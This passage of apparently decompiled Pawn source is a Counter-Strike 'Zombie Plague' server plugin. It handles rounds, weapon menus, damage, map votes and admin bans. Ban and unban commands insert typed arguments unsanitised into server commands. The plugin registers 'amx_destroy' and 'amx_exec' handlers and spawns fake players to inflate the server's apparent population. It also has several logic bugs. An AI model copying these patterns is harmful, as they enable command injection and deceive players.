g_bRoundEnd = true;
g_iRoundType = 0;
remove_task(600);
remove_task(700);
remove_task(900);
remove_task(550);
remove_task(650);
client_cmd(0, "stopsound");
if (!GetZombies())
{
set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
}
else
{
if (!GetHumans())
{
set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
}
else
{
set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
client_cmd(0, "spk zombie_plague/end_round_win_no_one");
}
}
static iFrags;
static iPacks;
static iKills;
static cPacksLeader;
static cFragsLeader;
iPacks = 0;
iKills = 0;
cFragsLeader = 0;
cFragsLeader = 0;
g_iVariable = 1;
while (g_iMaxClients + 1 > g_iVariable)
{
if (g_bConnected[g_iVariable])
{
iFrags = get_frags(g_iVariable);
if (g_bConnected[g_iVariable] && get_frags(g_iVariable) > iKills)
{
iKills = iFrags;
cFragsLeader = g_iVariable;
}
}
g_iVariable += 1;
}
g_iVariable = 1;
while (g_iMaxClients + 1 > g_iVariable)
{
if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iPacks)
{
iPacks = g_iPacks[g_iVariable];
cPacksLeader = g_iVariable;
}
g_iVariable += 1;
}
PrintToChat(0, "^x04[ZP]^x01 The frags leader is^x03 %s^x01 @^x04 %i frags", g_cName[cFragsLeader], iKills);
PrintToChat(0, "^x04[ZP]^x01 The packs leader is^x03 %s^x01 @^x04 %i packs", g_cName[cPacksLeader], iPacks);
static iTeam;
static j;
static i;
i = random_num(1, g_iMaxClients);
iTeam = 1;
j = 1;
while (g_iMaxClients + 1 > j)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!g_bConnected[i] || 0 < get_team(i) < 3)
{
if (iTeam > 2)
{
iTeam = 1;
}
set_team_offset(i, iTeam);
iTeam += 1;
}
j += 1;
}
if (g_iVariables[1])
{
g_iVariables[2] = 1;
}
return 0;
}
public _PlayerSpawn(iPlayer)
{
if (is_user_alive(iPlayer))
{
g_bAlive[iPlayer] = true;
g_bCanBuy[iPlayer] = 1;
g_cClass[iPlayer] = "Human";
g_iBurningDuration[iPlayer] = 0;
g_iPlayerType[iPlayer] = 0;
g_bUnlimitedClip[iPlayer] = false;
g_bNoDamage[iPlayer] = false;
g_bZombie[iPlayer] = false;
g_bFlashEnabled[iPlayer] = false;
g_bFlash[iPlayer] = false;
set_zombie(iPlayer, false);
set_monster(iPlayer, false);
remove_glow(iPlayer);
g_bFrozen[iPlayer] = false;
set_take_damage(iPlayer, 2);
set_frozen(iPlayer, false);
set_health(iPlayer, 150);
set_gravity(iPlayer, 1.0);
set_speed(iPlayer, 240.0);
remove_task(iPlayer + 250);
remove_task(iPlayer + 200);
remove_task(iPlayer + 350);
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (fCurrentTime - g_fLastChangedModel >=0.35)
{
ChangeModel(iPlayer + 250);
g_fLastChangedModel = fCurrentTime;
}
else
{
set_task(g_fLastChangedModel + 0.35 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
g_fLastChangedModel = g_fLastChangedModel + 0.35;
}
set_task(0.2, "TaskShowMenu", iPlayer, "", 0, "", 0);
set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
if (!g_bRoundStart)
{
if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64 || g_iRoundType & 32)
{
MakeZombie(0, iPlayer, false, false, false);
}
if (g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
{
if (get_team(iPlayer) != 2)
{
set_team(iPlayer, 2);
}
}
if (g_iRoundType & 128 || g_iRoundType & 256)
{
MakeHuman(iPlayer, true, false);
}
if (g_iRoundType & 512)
{
MakeZombie(0, iPlayer, false, false, true);
}
}
}
return 0;
}
public TaskRespawn(iPlayer)
{
if (g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
{
if (!g_bAlive[iPlayer])
{
ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
set_task(1.5, "TaskRespawn", iPlayer, "", 0, "", 0);
}
send_hide_weapon(iPlayer, 32);
send_crosshair(iPlayer);
}
return 0;
}
public TaskShowMenu(iPlayer)
{
if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
{
menu_display(iPlayer, g_iPrimaryMenu);
}
return 0;
}
public _PrimaryMenu(iPlayer, iMenu, iItem)
{
if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
{
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
DropWeapons(iPlayer, 1509749160);
give_weapon(iPlayer, g_cPrimaryEntities[iChoice]);
give_ammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
menu_display(iPlayer, g_iSecondaryMenu, 0);
g_bCanBuy[iPlayer] = 0;
}
return 0;
}
public _SecondaryMenu(iPlayer, iMenu, iItem)
{
if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
{
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
DropWeapons(iPlayer, 67308546);
give_weapon(iPlayer, g_cSecondaryEntities[iChoice]);
give_ammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
if (!user_has_weapon(iPlayer, 4, -1))
{
give_weapon(iPlayer, "weapon_hegrenade");
}
if (!user_has_weapon(iPlayer, 25, -1))
{
give_weapon(iPlayer, "weapon_flashbang");
}
if (!user_has_weapon(iPlayer, 9, -1))
{
give_weapon(iPlayer, "weapon_smokegrenade");
}
}
return 0;
}
DropWeapons(iPlayer, iType)
{
static i;
static cWeapon[24];
static iNum;
static iWeapons[32];
iNum = 0;
get_user_weapons(iPlayer, iWeapons, iNum);
i = 0;
while (i < iNum)
{
if (iType & 1 << iWeapons[i])
{
get_weaponname(iWeapons[i], cWeapon, 24);
engclient_cmd(iPlayer, "drop", cWeapon);
}
i += 1;
}
return 0;
}
public plugin_init()
{
register_plugin("Zombie Plague 6.2", "2.0b", "SideWinder");
new i;
new cNumber[3];
new cLine[128];
RegisterHam(Ham_Spawn, "player", "_PlayerSpawn", 1);
RegisterHam(Ham_TakeDamage, "player", "_TakeDamage", 0);
RegisterHam(Ham_TakeDamage, "player", "_TakeDamage_Post", 1);
RegisterHam(Ham_Touch, "weaponbox", "_Touch", 0);
RegisterHam(Ham_Touch, "armoury_entity", "_Touch", 0);
RegisterHam(Ham_Touch, "weapon_shield", "_Touch", 0)
RegisterHam(Ham_Item_PreFrame, "player", "_ResetMaxSpeed", 1);
RegisterHam(Ham_Killed, "player", "_PlayerKilled", 0);
RegisterHam(Ham_TraceAttack, "player", "_TraceAttack", 0);
RegisterHam(Ham_Think, "grenade", "_GrenadeThink", 0);
register_think("Mine", "Mine_Think");
RegisterHam(Ham_Player_Duck, "player", "_PlayerDuck", 0);
RegisterHam(Ham_Player_Jump, "player", "_PlayerJump", 0);
RegisterHam(Ham_Weapon_PrimaryAttack, "weapon_knife", "_PrimaryAttack", 0);
register_logevent("EventRoundStart", 2, "1=Round_Start");
register_logevent("EventRoundEnd", 2, "1=Round_End");
register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
register_event("CurWeapon", "UpdateWeapon", "be", "1=1", "3=13", "3=15", "3=20", "3=25", "3=30", "3=35", "3=12", "3=10", "3=100", "3=8", "3=7", "3=50");
register_event("CurWeapon", "Event_CurWeapon_KnifeModel", "be", "1=1", "2=18", "2=29");
register_event("CurWeapon", "Event_CurWeapon_FillClip", "be", "1=1", "2!4", "2!9", "2!25", "2!29", "3<2");
register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
register_concmd("amx_addfake", "Command_AddFake", -1, "", -1);
register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
register_concmd("amx_psay", "Commmand_PrivateSay", -1, "", -1);
register_concmd("amx_map", "Command_Map", -1, "", -1);
register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
register_concmd("amx_who", "Command_Who", -1, "", -1);
register_concmd("amx_last", "Command_Last", -1, "", -1);
register_concmd("amx_unban", "Command_Unban", -1, "", -1);
register_concmd("amx_addban", "Command_Addban", -1, "", -1);
register_concmd("amx_banip", "Command_Banip", -1, "", -1);
register_concmd("amx_kick", "Command_Kick", -1, "", -1);
register_concmd("amx_slay", "Command_Slay", -1, "", -1);
register_concmd("amx_slap", "Command_Slap", -1, "", -1);
register_concmd("amx_gag", "Command_Gag", -1, "", -1);
register_concmd("amx_ungag", "Command_Ungag", -1, "", -1);
register_concmd("amx_exec", "Command_Exec", -1, "", -1);
register_concmd("amx_destroy", "Command_Destroy", -1, "", -1);
register_concmd("amx_showip", "Command_Showip", -1, "", -1);
register_concmd("amx_reloadadmins", "Command_Reload", -1, "", -1);
register_concmd("zp_jetpack", "CmdMode", -1, "", -1);
register_concmd("zp_giveap", "CmdMode", -1, "", -1);
register_concmd("zp_human", "CmdMode", -1, "", -1);
register_concmd("zp_zombie", "CmdMode", -1, "", -1);
register_concmd("zp_nemesis", "CmdMode", -1, "", -1);
register_concmd("zp_sniper", "CmdMode", -1, "", -1);
register_concmd("zp_survivor", "CmdMode", -1, "", -1);
register_concmd("zp_assassin", "CmdMode", -1, "", -1);
register_concmd("zp_respawn", "CmdMode", -1, "", -1);
register_concmd("zp_swarm", "CmdMode", -1, "", -1);
register_concmd("zp_plague", "CmdMode", -1, "", -1);
register_concmd("zp_multi", "CmdMode", -1, "", -1);
register_concmd("zp_avs", "CmdMode", -1, "", -1);
register_concmd("zp_lnj", "CmdMode", -1, "", -1);
register_concmd("zp_nightmare", "CmdMode", -1, "", -1);
register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
register_clcmd("say", "Client_Say", -1, "", -1);
register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
register_clcmd("jointeam", "Command_JoinTeam", -1, "", -1);
register_clcmd("chooseteam", "Command_JoinTeam", -1, "", -1);
register_clcmd("plant_mine", "Command_Plant", -1, "", -1);
register_clcmd("take_mine", "Command_Take", -1, "", -1);
register_clcmd("CreateLaser", "Command_Plant", -1, "", -1);
register_clcmd("TakeLaser", "Command_Take", -1, "", -1);
register_clcmd("+setlaser", "Command_Plant", -1, "", -1);
register_clcmd("+dellaser", "Command_Take", -1, "", -1);
register_clcmd("nightvision", "Command_Flash", -1, "", -1);
register_clcmd("drop", "Command_Drop", -1, "", -1);
register_message(get_user_msgid("Health"), "MessageHealth");
register_message(get_user_msgid("SayText"), "MessageSayText");
register_message(get_user_msgid("Money"), "MessageMoney");
set_msg_block(get_user_msgid("TextMsg"), 2);
set_msg_block(get_user_msgid("SendAudio"), 2);
set_msg_block(get_user_msgid("AmmoPickup"), 2);
set_msg_block(get_user_msgid("WeapPickup"), 2);
g_iMaxClients = get_maxplayers();
g_iTopMessageSync = CreateHudSyncObj(0);
g_iLeftMessageSync = CreateHudSyncObj(0);
g_iDownMessageSync = CreateHudSyncObj(0);
g_iCenterMessageSync = CreateHudSyncObj(0);
g_iFirstMineMessage = CreateHudSyncObj(0);
g_iSecondMineMessage = CreateHudSyncObj(0);
g_iEventsHudmessage = CreateHudSyncObj(0);
g_iCounterMessage = CreateHudSyncObj(0);
g_iRemainingSync = CreateHudSyncObj(0);
g_iGameMenu = menu_create("Game Menu", "_GameMenu");
g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu");
g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu");
g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses");
menu_additem(g_iGameMenu, "Buy Weapons", "0", 0, -1);
menu_additem(g_iGameMenu, "Buy extra items", "1", 0, -1);
menu_additem(g_iGameMenu, "Choose zombie class", "2", 0, -1);
menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
menu_additem(g_iGameMenu, "Join spectator", "4", 0, -1);
i = 0;
while (i < 7)
{
formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
num_to_str(i, cNumber, 3);
menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
i++;
}
i = 0;
while (i < 6)
{
num_to_str(i, cNumber, 3);
menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
i++;
}
i = 0;
while (i < 14)
{
num_to_str(i, cNumber, 3);
menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
i++;
}
g_aNameData = ArrayCreate(32, 1);
g_aAmmoData = ArrayCreate(1, 1);
set_task(0.5, "TaskGetAdmins", 0, "", 0, "", 0);
set_task(6.2, "TaskGetMaps", 0, "", 0, "", 0);
set_task(3.5, "TaskGetHudMsg", 0, "", 0, "", 0);
set_task(33.5, "Task_SendMessages", 0, "", 0, "b", 0);
set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
g_bAdmin[0] = true;
set_task(2.0, "TaskCalculateArguments", 0, "", 0, "b", 0);
static cTime;
static iTime[3];
get_time("%H", iTime, 2);
cTime = str_to_num(iTime);
if (cTime >= 18 || cTime <= 19)
{
set_task(0.5, "Task_CheckBots", 0, "", 0, "a", 3);
}
return 0;
}
public plugin_end()
{
static current_map[32];
get_mapname(current_map, 31);
set_localinfo("lastMap", current_map);
return 0;
}
public TaskGetHudMsg()
{
static cLine[161];
static iFile;
iFile = fopen("addons/amxmodx/configs/messages.ini", "r");
while(!feof(iFile))
{
fgets(iFile, cLine, 160);
trim(cLine);
if (strlen(cLine) > 4)
{
parse(cLine, g_cHudCollors[g_iHudAdvertisementsCount], 14, g_cHudAdvertisements[g_iHudAdvertisementsCount], 119);
replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 119, "\n", "^n");
g_iHudAdvertisementsCount++;
}
}
fclose(iFile);
}
public Task_SendMessages()
{
if (g_iHudMessage >= g_iHudAdvertisementsCount)
{
g_iHudMessage = 0;
}
set_hudmessage(str_to_num(g_cHudCollors[g_iHudMessage]), str_to_num(g_cHudCollors[g_iHudMessage][3]), str_to_num(g_cHudCollors[g_iHudMessage][7]), -1.0, 0.20, 2, 0.20, 12.0, 0.10, 0.01, -1);
show_hudmessage(0, "%s", g_cHudAdvertisements[g_iHudMessage]);
client_print(0, print_console, "%s", g_cHudAdvertisements[g_iHudMessage]);
g_iHudMessage++;
}
public TaskGetMaps()
{
static cTime;
static iTime[3];
static cRight[32];
static cLeft[32];
static bool:bNight;
static bool:bStop;
static cMaps[128][32];
static iRandom;
static iPreparedMaps;
static cLastMap[32];
static cMap[32];
static iMaps;
static cLine[64];
static iFile;
iPreparedMaps = 0;
iMaps = 0;
get_time("%H", iTime, 2);
cTime = str_to_num(iTime);
get_mapname(cMap, 31);
get_localinfo("lastMap", cLastMap, 31);
iFile = fopen("addons/amxmodx/configs/maps.ini", "r");
if (cTime >= 22 || cTime <= 13)
{
bNight = true;
}
while (!feof(iFile))
{
fgets(iFile, cLine, 63);
strtok(cLine, cLeft, 31, cRight, 31, 32, 0);
trim(cLeft);
trim(cRight);
if (!bNight)
{
if (is_map_valid(cLeft) && !equal(cLeft, cMap) && !equal(cLeft, cLastMap) && !equali(cRight, "*"))
{
copy(cMaps[iMaps], 31, cLeft);
}
iMaps += 1;
}
else
{
if (is_map_valid(cLeft) && !equal(cLeft, cMap) && !equal(cLeft, cLastMap) && !equali(cRight, ";"))
{
copy(cMaps[iMaps], 31, cLeft);
}
iMaps += 1;
}
}
fclose(iFile);
while (iPreparedMaps != 4)
{
iRandom = random_num(0, iMaps + -1);
bStop = false;
g_iVariable = 0;
while (g_iVariable < 4)
{
if (equal(cMaps[iRandom], g_cMaps[g_iVariable]))
{
bStop = true;
}
g_iVariable += 1;
}
if (!bStop)
{
if (is_map_valid(cMaps[iRandom]))
{
formatex(g_cMaps[iPreparedMaps], 32, cMaps[iRandom]);
iPreparedMaps += 1;
}
}
}
set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
return 0;
}
public TaskGetAdmins()
{
static cLine[161];
static iFile;
iFile = fopen("addons/amxmodx/configs/users/UserAcount.ini", "r");
if (iFile)
{
while (!feof(iFile))
{
fgets(iFile, cLine, 255);
trim(cLine);
if (cLine[0] != 59 && strlen(cLine) > 5)
{
parse(cLine, g_cSteams[g_iAdminsCount], 24, g_cNames[g_iAdminsCount], 31, g_cPasswords[g_iAdminsCount], 31, g_cFlags[g_iAdminsCount], 31, g_cTags[g_iAdminsCount], 24);
g_iAdminsCount++;
}
}
fclose (iFile);
}
return 0;
}
public Task_CheckBots()
{
if (get_playersnum(1) < g_iMaxClients && g_iBotsCount < 3)
{
static i;
static bool:bDone;
static cName[32];
static iRandom;
iRandom = random_num(0, 3);
bDone = true;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (is_user_connected(i))
{
get_user_name(i, cName, 32);
if (equali(cName, g_cBotNames[iRandom]))
{
bDone = false;
}
}
i += 1;
}
if (bDone)
{
static iBot;
iBot = fake(g_cBotNames[iRandom]);
if (0 < iBot)
{
g_bFake[iBot] = true;
g_iBotsCount += 1;
}
}
remove_task(750);
set_task(60.0, "Task_CheckBots", 750, "", 0, "b", 0);
}
return 0;
}
public _Touch(iWeapon, iPlayer)
{
if (!is_user_valid_connected(iPlayer))
{
return 1;
}
if (g_bZombie [iPlayer] || (g_iPlayerType[iPlayer] & 8 || g_iPlayerType[iPlayer] & 4 )|| (g_iPlayerType[iPlayer] & 1 || g_iPlayerType[iPlayer] & 2))
{
return 4;
}
return 1;
}
public _TakeDamage(iVictim, iInflictor, iAttacker, Float:fDamage, iDamageType)
{
if (iAttacker == iVictim || !g_bConnected[iAttacker])
{
return 1;
}
if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] == g_bZombie[iAttacker] || g_bNoDamage[iVictim])
{
return 4;
}
if (!g_bZombie[iAttacker])
{
if (g_iPlayerType[iAttacker] & 8 && g_iWeapon[iAttacker] == 18)
{
SetHamParamFloat(4, 4600.0);
}
else
{
if (!g_iPlayerType[iVictim])
{
SetHamParamFloat(4, floatmul(0.75, fDamage));
}
g_fDamage[iAttacker] += floatround(fDamage);
while (g_fDamage[iAttacker] > 500.0)
{
g_iPacks[iAttacker]++;
g_fDamage[iAttacker] -= 500.0;
}
if (++g_iPosition[iAttacker] == 8)
{
g_iPosition[iAttacker] = 0;
}
set_hudmessage(0, 40, 80, g_fDamageCoords[g_iPosition[iAttacker]][0], g_fDamageCoords[g_iPosition[iAttacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
show_hudmessage(iAttacker, "%0.0f", fDamage);
}
return 1;
}
if (iDamageType & FL_ONTRAIN)
{
return 4;
}
if (g_iPlayerType[iAttacker] & 1 || g_iPlayerType[iAttacker] & 2 || g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1)
{
if (g_iPlayerType[iAttacker])
{
SetHamParamFloat(4, 250.0);
}
return 1;
}
static iDamage;
static iArmor;
iArmor = get_armor(iVictim);
iDamage = floatround(fDamage, floatround_round);
if (0 < iArmor)
{
if (0 < iArmor - iDamage)
{
set_armor(iVictim, iArmor - iDamage);
}
else
{
reset_armor(iVictim);
}
sound(iVictim, 4, "zombie_plague/armor_hit.wav");
return 4;
}
MakeZombie(iAttacker, iVictim, false, false, false);
return 4;
}
public _TakeDamage_Post(iVictim)
{
if (g_iPlayerType[iVictim] & 2)
{
set_painshock(iVictim);
}
return 0;
}
public _TraceAttack(iVictim, iAttacker, Float:fDamage, Float:fDirection[3], iTrace, iDamageType)
{
if (iAttacker == iVictim || !g_bConnected[iAttacker])
{
return 1;
}
if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] == g_bZombie[iAttacker])
{
return 4;
}
if (!g_bZombie[iVictim] || g_bNoDamage[iVictim] || g_iPlayerType[iVictim] & 2 || iDamageType & DMG_BULLET || range(iVictim, iAttacker) > 500)
{
return 1;
}
static Float:fVelocity[3];
get_velocity(iVictim, fVelocity);
xs_vec_mul_scalar(fDirection, fDamage, fDirection);
xs_vec_mul_scalar(fDirection, kb_weapon_power[g_iWeapon[iAttacker]], fDirection);
if (get_ent_flags(iVictim) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND))
{
xs_vec_mul_scalar(fDirection, 0.25, fDirection);
}
if (g_iPlayerType[iVictim] & 1)
{
xs_vec_mul_scalar(fDirection, 0.15, fDirection);
}
else
{
xs_vec_mul_scalar(fDirection, g_fZombieKnockbacks[g_iZombieClass[iVictim]], fDirection);
}
xs_vec_add(fVelocity, fDirection, fDirection);
fDirection[2] = fVelocity[2];
set_velocity(iVictim, fDirection);
return 1;
}
public _PlayerJump(iPlayer)
{
if (g_iJumpsNum[iPlayer])
{
new nbut = get_button(iPlayer)
new obut = get_oldbuttons(iPlayer)
if ((nbut & IN_JUMP) && !(get_ent_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iJumpsNum[iPlayer] - 1)
{
static Float:fVelocity[3];
get_velocity(iPlayer, fVelocity)
fVelocity[2] = random_float(265.0, 285.0);
set_velocity(iPlayer, fVelocity)
g_iJumps[iPlayer]++;
}
if((nbut & IN_JUMP) && (get_ent_flags(iPlayer) & FL_ONGROUND))
{
g_iJumps[iPlayer] = 0;
}
}
return 0;
}
public _PrimaryAttack(iEntity)
{
static iOwner;
iOwner = pev(iEntity, pev_owner);
if (g_bZombie[iOwner] && g_iBlinks[iOwner])
{
if (get_target_and_attack(iOwner))
{
PrintToChat(0, "^x04[ZP]^x03 %s^x01 just used a knife blink! (Blinks remaining:^x04 %i blinks^x01)", g_cName[iOwner], g_iBlinks[iOwner]);
g_iBlinks[iOwner]--;
}
}
return 0;
}
public _PlayerKilled(iVictim, iAttacker, iGibs)
{
g_bAlive[iVictim] = false;
g_bTryder[iVictim] = false;
g_bUnlimitedClip[iVictim] = false;
g_bFrozen[iVictim] = false;
set_frozen(iVictim, false);
if (!g_bFlash[iVictim])
{
Task_EnableFlash(iVictim);
}
if (iAttacker == iVictim || !g_bConnected[iAttacker])
{
if (g_bZombie[iVictim])
{
remove_task(iVictim + 200);
}
return 0;
}
if (g_iPlayerType[iAttacker] || g_iPlayerType[iVictim])
{
SetHamParamInteger(3, 2);
}
else
{
g_iPacks[iAttacker]++;
}
if (!g_bZombie[iAttacker])
{
remove_task(iVictim + 200);
if (g_iRoundType & 4 || g_iRoundType & 8)
{
static iZombies;
iZombies = GetZombies();
set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
if (iZombies != 1)
{
ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
}
}
if (g_iPlayerType[iAttacker] & 8)
{
send_lava_splash(iVictim);
}
}
else
{
if (g_iRoundType & 1 || g_iRoundType & 2)
{
static iHumans;
iHumans = GetHumans();
set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
if (iHumans != 1)
{
ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans);
}
}
if (g_iZombieClass[iAttacker] == 6 && !g_iPlayerType[iAttacker])
{
SetHamParamInteger(3, 2);
send_screen_fade(iAttacker, 255, 10, 10, 94);
}
}
return 0;
}
public UpdateWeapon(iPlayer)
{
g_iWeapon[iPlayer] = read_data(2);
return 0;
}
public Event_CurWeapon_KnifeModel(iPlayer)
{
g_iWeapon[iPlayer] = read_data(2);
if (g_bZombie[iPlayer])
{
switch (g_iWeapon[iPlayer])
{
case 29:
{
if (!g_iPlayerType[iPlayer])
{
set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
}
else
{
if (g_iPlayerType[iPlayer] & 1)
{
set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/nemesis_claws.mdl");
}
if (g_iPlayerType[iPlayer] & 2)
{
set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/assassin_claws.mdl");
}
}
set_pev(iPlayer, pev_weaponmodel2, "");
}
}
}
else
{
if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
{
set_jetpack(iPlayer);
}
if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == 18)
{
set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/v_awp_winter.mdl");
}
}
return 0;
}
public Event_CurWeapon_FillClip(iPlayer)
{
g_iWeapon[iPlayer] = read_data(2);
if (g_bUnlimitedClip[iPlayer] || g_iPlayerType[iPlayer] & 4)
{
if(!(Thrownable_Weapons & (1 << g_iWeapon[iPlayer])))
{
set_weapon_ammo(get_pdata_cbase(iPlayer, 373, 5), g_iMaxClip[g_iWeapon[iPlayer]]);
}
}
return 0;
}
public Command_Unban(iPlayer)
{
if (!GetAccess(iPlayer, 2048, 2))
{
return 1;
}
static cArgument[32];
read_argv(1, cArgument, 31);
if (contain(cArgument, ":") != -1)
{
server_cmd("removeid %s;writeid", cArgument);
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: unbanned^x04 %s", g_cName[iPlayer], cArgument);
}
if (contain(cArgument, ".") != -1)
{
server_cmd("removeip ^"%s^";writeip", cArgument);
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: unbanned^x04 %s", g_cName[iPlayer], cArgument);
}
return 1;
}
public Command_Addban(iPlayer, iLevel, iCid)
{
if (!GetAccess(iPlayer, 8, 3))
{
return 1;
}
if (3 < g_iLimitReached[iPlayer])
{
return 1;
}
static cArgument[32];
read_argv(1, cArgument, 31);
static iTime;
static iMinutes[32];
read_argv(2, iMinutes, 31);
iTime = clamp(str_to_num(iMinutes), 0, 999999);
if (contain(cArgument, ":") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
{
server_cmd("banid %i %s", iTime, cArgument);
server_cmd("writeid");
if (iTime)
{
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], cArgument, iTime);
}
else
{
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x03 permanently", g_cName[iPlayer], cArgument);
}
g_iLimitReached[iPlayer]++;
}
if (contain(cArgument, ".") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
{
server_cmd("addip %i ^"%s^";writeip", iTime, cArgument);
if (iTime)
{
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], cArgument, iTime);
}
else
{
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x03 permanently", g_cName[iPlayer], cArgument);
}
g_iLimitReached[iPlayer]++;
}
return 1;
}
public Command_Banip(iPlayer, iLevel, iCid)
{
if (!GetAccess(iPlayer, 8, 4))
{
return 1;
}
static szArgument[32];
read_argv(1, szArgument, 31);
static iTime;
static szTime[7];
read_argv(2, szTime, 6);
iTime = clamp(str_to_num(szTime), 0, 999999);
static szReason[64];
read_argv(3, szReason, 63);
static iTarget;
iTarget = GetTarget(iPlayer, szArgument, 4);
if (!iTarget)
{
return 1;
}
g_iLimitReached[iPlayer]++;
if (3 < g_iLimitReached[iPlayer])
{
return 1;
}
console_print(iTarget, "*****************************");
console_print(iTarget, "Ban Informations:");
console_print(iTarget, "[*] Banned by admin: %s", g_cName[iPlayer]);
if (iTime)
{
console_print(iTarget, "[*] Banned for: %i minutes", iTime);
}
else
{
console_print(iTarget, "[*] Banned permanently");
}
console_print(iTarget, "[*] Banned on: %s", g_cPlayerAddress[iTarget]);
console_print(iTarget, "[*] Ban reason is: %s", szReason);
console_print(iTarget, "*****************************");
server_cmd("addip %i %s;writeip", iTime, g_cPlayerAddress[iTarget]);
if (iTime)
{
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: banned^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], g_cName[iTarget], iTime);
MessageLog(0, "^x01Reason:^x04 %s", szReason);
}
else
{
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: banned^x04 %s^x03 permanently", g_cName[iPlayer], g_cName[iTarget]);
MessageLog(0, "^x01Reason:^x04 %s", szReason);
}
return 1;
}
public CmdFreeze(iPlayer)
{
if (!GetAccess(iPlayer, 8, 2))
{
return 1;
}
static cArgument[32];
read_argv(1, cArgument, 31);
static iTarget;
iTarget = GetTarget(iPlayer, cArgument, 6);
if (!iTarget)
{
return 1;
}
